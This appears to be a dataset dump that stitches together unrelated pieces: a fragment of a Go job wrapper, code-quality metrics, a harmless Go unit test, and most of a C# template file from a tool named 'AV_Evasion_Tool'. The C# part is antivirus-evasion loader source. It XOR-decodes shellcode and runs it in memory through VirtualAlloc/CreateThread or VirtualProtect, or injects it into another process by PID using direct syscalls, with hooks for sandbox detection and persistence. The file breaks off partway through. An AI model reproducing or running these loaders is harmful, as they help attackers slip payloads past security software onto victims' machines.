ReleaseCount() uint32 { return j.jp.GetReleaseCount() } func (j *wrapJob) IncReleaseCount() { j.jp.ReleaseCount++ } func (j *wrapJob) BuryCount() uint32 { return j.jp.GetBuryCount() } func (j *wrapJob) IncBuryCount() { j.jp.BuryCount++ } func (j *wrapJob) KickCount() uint32 { return j.jp.GetKickCount() } func (j *wrapJob) IncKickCount() { j.jp.KickCount++ }
8,427
snapshot
go
en
go
code
{"qsc_code_num_words": 1082, "qsc_code_num_chars": 8427.0, "qsc_code_mean_word_length": 5.27449168, "qsc_code_frac_words_unique": 0.17005545, "qsc_code_frac_chars_top_2grams": 0.01997547, "qsc_code_frac_chars_top_3grams": 0.06518311, "qsc_code_frac_chars_top_4grams": 0.01962502, "qsc_code_frac_chars_dupe_5grams": 0.26248467, "qsc_code_frac_chars_dupe_6grams": 0.19151919, "qsc_code_frac_chars_dupe_7grams": 0.1459611, "qsc_code_frac_chars_dupe_8grams": 0.10565972, "qsc_code_frac_chars_dupe_9grams": 0.07236727, "qsc_code_frac_chars_dupe_10grams": 0.07236727, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01017338, "qsc_code_frac_chars_whitespace": 0.17182865, "qsc_code_size_file_byte": 8427.0, "qsc_code_num_lines": 357.0, "qsc_code_num_chars_line_max": 98.0, "qsc_code_num_chars_line_mean": 23.60504202, "qsc_code_frac_chars_alphabet": 0.80756555, "qsc_code_frac_chars_comments": 0.00474665, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13225806, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07463932, "qsc_code_frac_chars_long_word_length": 0.03183498, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.1483871, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.31290323, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
store/client_uri_test.go
package store import ( "github.com/1xyz/coolbeans/state" "github.com/stretchr/testify/assert" "testing" ) func TestParseClientID(t *testing.T) { var entries = []struct { inputCliID state.ClientID outClientURI *ClientURI outErr error }{ {state.ClientID("client://id?proxy=alpha&client=beta"), &ClientURI{proxyID: "alpha", clientID: "beta"}, nil}, {state.ClientID("client://id?proxy=alpha&client=beta&theta=omega"), &ClientURI{proxyID: "alpha", clientID: "beta"}, nil}, {state.ClientID("client://id?proxy=urn:uuid:043a76c3-903b-45ac-bd02-b03d6298b52e&client=urn:uuid:9d9eee85-bec7-4434-9559-0b8c83380033"), &ClientURI{ proxyID: "urn:uuid:043a76c3-903b-45ac-bd02-b03d6298b52e", clientID: "urn:uuid:9d9eee85-bec7-4434-9559-0b8c83380033"}, nil}, {state.ClientID("client://id?proxy=alpha"), nil, ErrValidationFailed}, {state.ClientID("client://id"), nil, ErrValidationFailed}, {state.ClientID("client:"), nil, ErrValidationFailed}, {state.ClientID("client"), nil, ErrInvalidSchema}, {state.ClientID(":::"), nil, ErrInvalidURI}, } for _, e := range entries { c, err := ParseClientURI(e.inputCliID) assert.Equalf(t, e.outClientURI, c, "expect clientURI to match") assert.Equalf(t, e.outErr, err, "expect err to match") } } func TestClientURI_ClientID(t *testing.T) { c := NewClientURI("foo", "bar").ToClientID() assert.Equalf(t, state.ClientID("client://id?client=bar&proxy=foo"), c, "expect ClientIDs to match") }
1,475
client_uri_test
go
en
go
code
{"qsc_code_num_words": 181, "qsc_code_num_chars": 1475.0, "qsc_code_mean_word_length": 5.72375691, "qsc_code_frac_words_unique": 0.35359116, "qsc_code_frac_chars_top_2grams": 0.12548263, "qsc_code_frac_chars_top_3grams": 0.14671815, "qsc_code_frac_chars_top_4grams": 0.12162162, "qsc_code_frac_chars_dupe_5grams": 0.47876448, "qsc_code_frac_chars_dupe_6grams": 0.43918919, "qsc_code_frac_chars_dupe_7grams": 0.35714286, "qsc_code_frac_chars_dupe_8grams": 0.17374517, "qsc_code_frac_chars_dupe_9grams": 0.11969112, "qsc_code_frac_chars_dupe_10grams": 0.11969112, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.06819923, "qsc_code_frac_chars_whitespace": 0.11525424, "qsc_code_size_file_byte": 1475.0, "qsc_code_num_lines": 40.0, "qsc_code_num_chars_line_max": 139.0, "qsc_code_num_chars_line_mean": 36.875, "qsc_code_frac_chars_alphabet": 0.7256705, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.05555556, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.02777778, "qsc_code_frac_chars_string_length": 0.36271186, "qsc_code_frac_chars_long_word_length": 0.27661017, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.11111111, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.05555556, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.08333333, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1y0n/AV_Evasion_Tool
掩日2.0/CS_Template.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace 掩日2._0 { class CS_Template { //GetProcAddress 执行 public static string getprocaddress = @"using System; using System.Collections.Generic; using System.Deployment.Internal; using System.Runtime.InteropServices; using System.Text; using System.Linq; namespace CS_GetProcAddress { class Program { internal static class UnsafeNativeMethods { [DllImport(""Kernel32"")] internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname); [DllImport(""Kernel32"")] internal static extern IntPtr LoadLibraryA(string moduleName); } internal delegate UInt32 VirtualAllocInvoker( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); internal delegate IntPtr CreateThreadInvoker( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); internal delegate UInt32 WaitForSingleObjectInvoker( IntPtr hHandle, UInt32 dwMilliseconds ); public static byte string_to_int(string str) { string temp = str.Substring(str.Length - 2, 2); int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); return BitConverter.GetBytes(hex)[0]; } public static byte[] XOR_C(string raw) { string[] shellcode_array = raw.Split(','); byte[] result = new byte[shellcode_array.Length]; int j = 234; int add = 12; for (int i = 0; i < shellcode_array.Length; i++) { string temp = string.Format(""{0:x2}"", string_to_int(shellcode_array[i]) ^ 123 ^ j); temp = ""0x"" + temp.Substring(temp.Length - 2, 2); result[i] = string_to_int(temp); j += add; } return result; } static void Main(string[] args) { //{{sanbox_vm_detect}} //{{persistence}} string xxxx = ""{{shellcode}}""; byte[] xxxxx = XOR_C(xxxx); IntPtr fptrva = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""VirtualAlloc""); VirtualAllocInvoker va = (VirtualAllocInvoker)Marshal.GetDelegateForFunctionPointer(fptrva, typeof(VirtualAllocInvoker)); IntPtr fptrct = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""CreateThread""); IntPtr fptrwf = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""WaitForSingleObject""); CreateThreadInvoker ct = (CreateThreadInvoker)Marshal.GetDelegateForFunctionPointer(fptrct, typeof(CreateThreadInvoker)); WaitForSingleObjectInvoker wf = (WaitForSingleObjectInvoker)Marshal.GetDelegateForFunctionPointer(fptrwf, typeof(WaitForSingleObjectInvoker)); UInt32 a = va(0, (UInt32)xxxxx.Length, 0x1000, 0x40); Marshal.Copy(xxxxx, 0, (IntPtr)(a), xxxxx.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = ct(0, 0, a, pinfo, 0, ref threadId); wf(hThread, 0xFFFFFFFF); } } }"; //VirtualProtect 执行 public static string virtualprotect = @"using System; using System.Collections.Generic; using System.Deployment.Internal; using System.Runtime.InteropServices; using System.Text; using System.Linq; namespace CS_GetProcAddress { class Program { [DllImport(""kernel32.dll"")] private static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect); private delegate UInt32 xxxxxMethod(UInt32 x, UInt32 y); private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; public static byte string_to_int(string str) { string temp = str.Substring(str.Length - 2, 2); int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); return BitConverter.GetBytes(hex)[0]; } public static byte[] XOR_C(string raw) { string[] xxxxx_array = raw.Split(','); byte[] result = new byte[xxxxx_array.Length]; //string[] temp = new string[xxxxx_array.Length]; int j = 234; int add = 12; for (int i = 0; i < xxxxx_array.Length; i++) { string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); temp = ""0x"" + temp.Substring(temp.Length - 2, 2); result[i] = string_to_int(temp); j += add; } return result; } static void Main(string[] args) { //{{sanbox_vm_detect}} //{{persistence}} string xxxx = ""{{shellcode}}""; byte[] xxxxx = XOR_C(xxxx); IntPtr xxxxxPtr = IntPtr.Zero; xxxxxPtr = Marshal.AllocCoTaskMem(xxxxx.Length); Marshal.Copy(xxxxx, 0, xxxxxPtr, xxxxx.Length); UInt32 old; VirtualProtect(xxxxxPtr, (UInt32)xxxxx.Length, (UInt32)PAGE_EXECUTE_READWRITE, out old); xxxxxMethod scm = (xxxxxMethod)Marshal.GetDelegateForFunctionPointer(xxxxxPtr, typeof(xxxxxMethod)); scm(4, 9); } } }"; //syscall 注入现有进程 public static string syscall_exist = @"using System; using System.Runtime.InteropServices; using System.Security; using System.ComponentModel; using System.Diagnostics; using System.Collections; using System.Collections.Generic; using System.Deployment.Internal; using System.Linq; using System.Text; namespace CS_SysCall { class Program { public const int ALLOCWRITE = 1; public const int OPENSEC = 2; public static byte string_to_int(string str) { string temp = str.Substring(str.Length - 2, 2); int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); return BitConverter.GetBytes(hex)[0]; } public static byte[] XOR_C(string raw) { string[] xxxxx_array = raw.Split(','); byte[] result = new byte[xxxxx_array.Length]; int j = 234; int add = 12; for (int i = 0; i < xxxxx_array.Length; i++) { string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); temp = ""0x"" + temp.Substring(temp.Length - 2, 2); result[i] = string_to_int(temp); j += add; } return result; } static unsafe void Main(string[] args) { //{{sanbox_vm_detect}} //{{persistence}} string osV = getOsVers(); string xxxx = ""{{shellcode}}""; byte[] xxxxx = XOR_C(xxxx); yr_var_foobar_2_ccx(osV, OPENSEC, {{pid}}, xxxxx); } public static string getOsVers() { nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW(); osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); nativeStructs.RtlGetVersion(ref osInfo); string osV = """"; switch (osInfo.dwMajorVersion) { case 10: switch (osInfo.dwBuildNumber) { case 10240: osV = ""win10-1507""; break; case 10586: osV = ""win10-1511""; break; case 14393: osV = ""win10-1607""; break; case 15063: osV = ""win10-1703""; break; case 16299: osV = ""win10-1709""; break; case 17134: osV = ""win10-1803""; break; case 17763: osV = ""win10-1809""; break; case 18362: osV = ""win10-1903-9""; break; } break; case 6: switch (osInfo.dwMinorVersion) { case 1: osV = ""w7-08""; break; case 2: osV = ""win8-12""; break; case 3: osV = ""win8.1-12r2""; break; } break; default: osV = """"; break; } return osV; } public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx) { //Process targetProcess = Process.GetProcessesByName(processName)[0]; //int id = targetProcess.Id; int id = pid; //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id); //msf messagebox x64 //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==""; //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s); nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID(); clientid.UniqueProcess = new IntPtr(id); clientid.UniqueThread = IntPtr.Zero; IntPtr bufferReal = IntPtr.Zero; IntPtr procHandle = IntPtr.Zero; syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os); IntPtr remoteAddr = new IntPtr(); switch (method) { case ALLOCWRITE: //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process""); UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length)); syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os); IntPtr written = IntPtr.Zero; IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length); Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length); syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os); break; case OPENSEC: //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process""); //create required structs/variables IntPtr localAddr = new IntPtr(null); Process thisProc = Process.GetCurrentProcess(); nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER(); uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length); liVal.LowPart = size_; //create local section IntPtr section_ = new IntPtr(); IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length); long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os); //map local section status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); //map remote section status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); //copy yr_var_foobar_1_ccx to local section Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length); break; } //bool is64bit = Environment.Is64BitProcess; int temp1 = 0, temp2 = 0; nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer { Size = sizeof(nativeStructs.NtCreateThreadExBuffer), Unknown1 = 0x10003, Unknown2 = 0x8, Unknown3 = new IntPtr(&temp2), Unknown4 = 0, Unknown5 = 0x10004, Unknown6 = 4, Unknown7 = new IntPtr(&temp1), Unknown8 = 0, }; IntPtr hRemoteThread; //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os); //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point. //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os); return 0; } public static uint getLowPart(uint size) { nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO(); nativeStructs.GetSystemInfo(ref info); return (info.dwPageSize - size % info.dwPageSize) + size; } } class nativeStructs { public const uint MEM_COMMIT = 0x00001000; public const uint MEM_RESERVE = 0x00002000; public const uint PAGE_EXECUTE_READWRITE = 0x40; public const int FILE_READ_DATA = 0x0001; // file & pipe public const int FILE_LIST_DIRECTORY = 0x0001; // directory public const int FILE_WRITE_DATA = 0x0002; // file & pipe public const int FILE_ADD_FILE = 0x0002; // directory public const int FILE_APPEND_DATA = 0x0004; // file public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe public const int FILE_READ_EA = 0x0008; // file & directory public const int FILE_WRITE_EA = 0x0010; // file & directory public const int FILE_EXECUTE = 0x0020; // file public const int FILE_TRAVERSE = 0x0020; // directory public const int FILE_DELETE_CHILD = 0x0040; // directory public const int FILE_READ_ATTRIBUTES = 0x0080; // all public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all public const int FILE_OVERWRITE_IF = 0x00000005; public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020; public const long READ_CONTROL = 0x00020000; public const long SYNCHRONIZE = 0x00100000; public const long STANDARD_RIGHTS_WRITE = READ_CONTROL; public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL; public const long STANDARD_RIGHTS_ALL = 0x001F0000; public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF; public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; public const UInt32 TOKEN_DUPLICATE = 0x0002; public const UInt32 TOKEN_IMPERSONATE = 0x0004; public const UInt32 TOKEN_QUERY = 0x0008; public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ | FILE_READ_DATA | FILE_READ_ATTRIBUTES | FILE_READ_EA | SYNCHRONIZE; public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE | FILE_WRITE_DATA | FILE_WRITE_ATTRIBUTES | FILE_WRITE_EA | FILE_APPEND_DATA | SYNCHRONIZE; public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | FILE_READ_ATTRIBUTES | FILE_EXECUTE | SYNCHRONIZE; public const int FILE_SHARE_READ = 0x00000001; public const int FILE_SHARE_WRITE = 0x00000002; public const int FILE_SHARE_DELETE = 0x00000004; public const int FILE_ATTRIBUTE_READONLY = 0x00000001; public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002; public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004; public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010; public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020; public const int FILE_ATTRIBUTE_DEVICE = 0x00000040; public const int FILE_ATTRIBUTE_NORMAL = 0x00000080; public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100; public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800; public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000; public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000; public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001; public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002; public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004; public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008; public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010; public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020; public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040; public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100; public const int FILE_ACTION_ADDED = 0x00000001; public const int FILE_ACTION_REMOVED = 0x00000002; public const int FILE_ACTION_MODIFIED = 0x00000003; public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004; public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005; public const int MAILSLOT_NO_MESSAGE = -1; public const int MAILSLOT_WAIT_FOREVER = -1; public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001; public const int FILE_CASE_PRESERVED_NAMES = 0x00000002; public const int FILE_UNICODE_ON_DISK = 0x00000004; public const int FILE_PERSISTENT_ACLS = 0x00000008; public const int FILE_FILE_COMPRESSION = 0x00000010; public const int FILE_VOLUME_QUOTAS = 0x00000020; public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040; public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080; public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100; public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000; public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000; public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000; public const int FILE_NAMED_STREAMS = 0x00040000; public const int FILE_READ_ONLY_VOLUME = 0x00080000; public const int CREATE_ALWAYS = 2; [StructLayout(LayoutKind.Sequential, Pack = 4)] public struct NtCreateThreadExBuffer { public int Size; public uint Unknown1; public uint Unknown2; public IntPtr Unknown3; public uint Unknown4; public uint Unknown5; public uint Unknown6; public IntPtr Unknown7; public uint Unknown8; }; [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct OSVERSIONINFOEXW { public int dwOSVersionInfoSize; public int dwMajorVersion; public int dwMinorVersion; public int dwBuildNumber; public int dwPlatformId; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] public string szCSDVersion; public UInt16 wServicePackMajor; public UInt16 wServicePackMinor; public UInt16 wSuiteMask; public byte wProductType; public byte wReserved; } [StructLayout(LayoutKind.Sequential)] public struct LARGE_INTEGER { public UInt32 LowPart; public UInt32 HighPart; } [StructLayout(LayoutKind.Sequential)] public struct SYSTEM_INFO { public uint dwOem; public uint dwPageSize; public IntPtr lpMinAppAddress; public IntPtr lpMaxAppAddress; public IntPtr dwActiveProcMask; public uint dwNumProcs; public uint dwProcType; public uint dwAllocGranularity; public ushort wProcLevel; public ushort wProcRevision; } [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public struct CLIENT_ID { public IntPtr UniqueProcess; public IntPtr UniqueThread; } [StructLayout(LayoutKind.Sequential)] public struct OBJECT_ATTRIBUTES { public ulong Length; public IntPtr RootDirectory; public IntPtr ObjectName; public ulong Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } public enum NTSTATUS : uint { // Success Success = 0x00000000, Wait0 = 0x00000000, Wait1 = 0x00000001, Wait2 = 0x00000002, Wait3 = 0x00000003, Wait63 = 0x0000003f, Abandoned = 0x00000080, AbandonedWait0 = 0x00000080, AbandonedWait1 = 0x00000081, AbandonedWait2 = 0x00000082, AbandonedWait3 = 0x00000083, AbandonedWait63 = 0x000000bf, UserApc = 0x000000c0, KernelApc = 0x00000100, Alerted = 0x00000101, Timeout = 0x00000102, Pending = 0x00000103, Reparse = 0x00000104, MoreEntries = 0x00000105, NotAllAssigned = 0x00000106, SomeNotMapped = 0x00000107, OpLockBreakInProgress = 0x00000108, VolumeMounted = 0x00000109, RxActCommitted = 0x0000010a, NotifyCleanup = 0x0000010b, NotifyEnumDir = 0x0000010c, NoQuotasForAccount = 0x0000010d, PrimaryTransportConnectFailed = 0x0000010e, PageFaultTransition = 0x00000110, PageFaultDemandZero = 0x00000111, PageFaultCopyOnWrite = 0x00000112, PageFaultGuardPage = 0x00000113, PageFaultPagingFile = 0x00000114, CrashDump = 0x00000116, ReparseObject = 0x00000118, NothingToTerminate = 0x00000122, ProcessNotInJob = 0x00000123, ProcessInJob = 0x00000124, ProcessCloned = 0x00000129, FileLockedWithOnlyReaders = 0x0000012a, FileLockedWithWriters = 0x0000012b, // Informational Informational = 0x40000000, ObjectNameExists = 0x40000000, ThreadWasSuspended = 0x40000001, WorkingSetLimitRange = 0x40000002, ImageNotAtBase = 0x40000003, RegistryRecovered = 0x40000009, // Warning Warning = 0x80000000, GuardPageViolation = 0x80000001, DatatypeMisalignment = 0x80000002, Breakpoint = 0x80000003, SingleStep = 0x80000004, BufferOverflow = 0x80000005, NoMoreFiles = 0x80000006, HandlesClosed = 0x8000000a, PartialCopy = 0x8000000d, DeviceBusy = 0x80000011, InvalidEaName = 0x80000013, EaListInconsistent = 0x80000014, NoMoreEntries = 0x8000001a, LongJump = 0x80000026, DllMightBeInsecure = 0x8000002b, // Error Error = 0xc0000000, Unsuccessful = 0xc0000001, NotImplemented = 0xc0000002, InvalidInfoClass 